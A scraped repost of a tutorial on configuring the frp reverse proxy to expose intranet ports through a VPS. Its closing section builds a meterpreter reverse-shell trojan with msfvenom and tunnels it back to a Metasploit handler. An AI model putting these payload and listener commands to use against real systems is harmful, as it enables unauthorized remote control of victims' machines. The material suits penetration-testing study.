当前位置:网站首页>FRP reverse proxy
FRP reverse proxy
2022-04-22 16:39:00 【qq_ forty-two million three hundred and seven thousand five hun】
frp It is a high performance reverse proxy application focusing on Intranet penetration , Support TCP、UDP、HTTP、HTTPS Other protocols . You can make intranet services secure 、 Convenient way through the public network IP Node transfer is exposed to the public network
frp Divided into client and server , The client is installed on the local machine , The service side in vps On , Generally, we set up a network in the intranet 80 Port, but because it is in the intranet and cannot be accessed directly, it needs to be 80 The port is mapped to the public network vps On one of the ports of , So we can visit this vps That port is equivalent to accessing the intranet 80 port , adopt frp Reverse proxy can help us solve such problems
Project address : https://github.com/fatedier/frp/releases

The first is the server , The second is the client linux and win All support
Download on the server frp And configuration
wget https://github.com/fatedier/frp/releases/download/v0.41.0/frp_0.41.0_linux_amd64.tar.gz
tar zxvf frp_0.41.0_linux_amd64.tar.gz
cd frp_0.41.0_linux_amd64
rm -rf frpc*

edit frps.ini
vi frps.ini
bind_port=7000
token=moonsec2020
start-up frp
./frps -c frps.ini
Set this service to start automatically after startup
vi /lib/systemd/system/frps.service
[Unit]
# The service description
Description=frpc service
After=network.target syslog.target
Wants=network.target
[Service]
Type=simple
# Carry out orders
ExecStart=/root/frp/frps -c /root/frp/frps.ini
[Install]
WantedBy=multi-user.target
start-up frp
systemctl daemon-reload
systemctl start frps
systemctl enable frps
Client configuration , Here we use kali As a client
wget https://github.com/fatedier/frp/releases/download/v0.41.0/frp_0.41.0_linux_amd64.tar.gz
tar zxvf frp_0.41.0_linux_amd64.tar.gz
cd frp_0.41.0_linux_amd64
vi frpc.ini
# frpc.ini
[common]
server_addr = *.*.*.*
server_port = 7000
token = moonsec2020
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000
here server_addr Fill in your server address
local_port = 22
remote_port = 6000
This is going to be local 22 Port maps to 6000 port
Turn on frp
./frpc -c frpc.ini
MSF And frp Reverse proxy
Create a Trojan
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=**** LPORT=8000 -f elf > shell.elf
there lhost Server address expected LPORT Is the reverse proxy port
[common]
server_addr = ****
server_port = 7000
token=moonsec2020
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 6666
remote_port = 8000
start-up frp
./frpc -c frpc.ini
Turn on monitoring
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 127.0.01
set lport 6666
exploit
there lhost Must be 127.0.0.1 Or you'll make a mistake
版权声明
本文为[qq_ forty-two million three hundred and seven thousand five hun]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204221636513794.html
边栏推荐
- C ODBC loads the files of one folder into the blob column of Oracle database and downloads the blob column to another folder
- Leetcode题库62. 不同路径(递归 c实现)
- Ten thousand yuan gift pool! Play "Lighthouse" award-winning essay attack
- 蓝桥杯练习020
- The 14th issue of HMS core discovery reviews the long article | enjoy the silky clip and release the creativity of the video
- Unittest-单元测试2
- 12.88万元的小魔驼2.0,毫末智行托起末端物流自动配送的商用梦想
- What are the functional problems of UI testing- Ze zhongyun test
- AQS源码阅读
- Blue Bridge Cup practice 011
猜你喜欢

matplotlib绘图

MySQL日志

This API hub is powerful. It contains open APIs such as nailing enterprise wechat, and can be debugged directly!

An error is reported in the automatic database backup, indicating that SQLServerAgent is not currently running, so it cannot be notified of this operation.

AQS源码阅读

Interview:人工智能岗位面试—人工智能岗位求职之机器学习算法工程师必备知识框架结构图

1016 Phone Bills (25 分) 测试点1,2

Gome retail takes advantage of the east wind of digital economy to create a "boat body" consumption experience

Gome's new actions "true selection" and "strict selection" enable multi-dimensional escort quality consumption

An analysis and treatment of abnormal growth of Oracle database table space
随机推荐
漫谈同源策略(SOP)和跨域资源共享(CORS)
C ODBC loads the files of one folder into the blob column of Oracle database and downloads the blob column to another folder
Blue Bridge Cup practice 011
Rust异步框架的性能评估
C language insertion sort
蓝桥杯练习019
详述 CHARTEVENTS 检查记录表(十)
STM32的一种串口数据接受方式
Transforme结构:位置编码 | Transformer Architecture: The Positional Encoding
C language selection sorting
Win10安装MySQL5.7(图文详解)
matplotlib绘图
Circular linked list application - Joseph Ring
Installing STEP7 micro / win v4.0 in Windows 10 0 SP9. After installation, you will be prompted with assertion program: pniopcac exe File
数据分析7大能力:梳理数据需求
数据库自动备份报错,提示SQLServerAgent 当前未运行,因此无法将此操作通知它。
Interview:人工智能岗位面试—人工智能岗位求职之机器学习算法工程师必备知识框架结构图
NFT 平台安全指南
solidworks中为什么线性草图阵列我只能设置方向1,不能设置方向2?
Linux Mysql 8 修改密码 Your password does not satisfy the current policy requirements